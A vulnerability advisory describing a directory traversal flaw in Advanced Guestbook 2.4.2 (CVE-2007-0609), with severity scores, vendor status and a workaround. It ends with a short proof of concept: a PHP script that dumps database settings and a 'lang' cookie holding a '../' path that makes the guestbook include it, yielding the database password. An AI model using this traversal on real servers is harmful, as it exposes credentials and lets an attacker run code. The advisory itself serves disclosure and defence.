ag-traverse.txt

`netVigilance Security Advisory #13  
  
Advanced Guestbook version 2.4.2 Directory Traversal Vulnerability   
  
Description:  
Advanced Guestbook is a PHP-based guestbook script. It includes many useful features such as preview, templates, e-mail notification, picture upload, page spanning , html tags handling, smiles, advanced guestbook codes and language support. The admin script lets you modify, view, and delete messages. Requires PHP4 and MySQL.  
External References:   
Mitre CVE: CVE-2007-0609  
NVD NIST: CVE-2007-0609  
OSVDB: 33878  
Summary:   
Advanced Guestbook is a PHP-based guestbook with admin interface.  
Security problems in the product allow attackers to conduct directory traversal attacks.   
This vulnerabilities can be exploited only when attacker has registered on the same server.  
  
Advisory URL:   
http://www.netvigilance.com/advisory0013  
Release Date:  
05/07/2007  
  
Severity:  
Risk: High  
  
CVSS Metrics  
Access Vector: Remote  
Access Complexity: High  
Authentication: Not-required  
Confidentiality Impact: Complete  
Integrity Impact: Complete  
Availability Impact: Complete  
Impact Bias: Normal  
CVSS Base Score: 8  
  
Target Distribution on Internet: Low  
  
Exploitability: Functional Exploit  
Remediation Level: Workaround  
Report Confidence: Uncorroborated   
  
Vulnerability Impact: Attack  
Host Impact: Directory Traversal  
  
  
SecureScout Testcase ID:  
  
  
Vulnerable Systems:  
Advanced Guestbook 2.4.2  
  
Vulnerability Type:  
An attacker via the .. (dot dot) sequence can execute his own php-script on the target server.  
Vendor Status:   
Contact with the Vendor was established but draft of the security advisory wasn't provided because the Vendor stopped responding to our emails on 9 March 2007. There is no official fix at the release of this Security Advisory  
Workaround:  
Set Advanced Guestbook default static language.   
  
Example:   
1. Create php-script like: <?php global $GB_DB; print_r($GB_DB); ?>  
2. Set in COOKIES variable lang = "[ via the .. (dot dot) Sequence set the script name on the same server]" for example "../../../hack_www/htdocs/hack"  
REQUEST:  
http://[TARGET]/[guestbook-directory]/index.php  
REPLY:  
Array  
(  
[dbName] => [CURRENT DB NAME]  
[host] => [CURRENT DB HOST]  
[user] => [DB USER NAME]  
[pass] => [DB USER PASSWORD]  
)  
  
Credits:   
Jesper Jurcenoks  
Co-founder netVigilance, Inc  
www.netvigilance.com  
  
`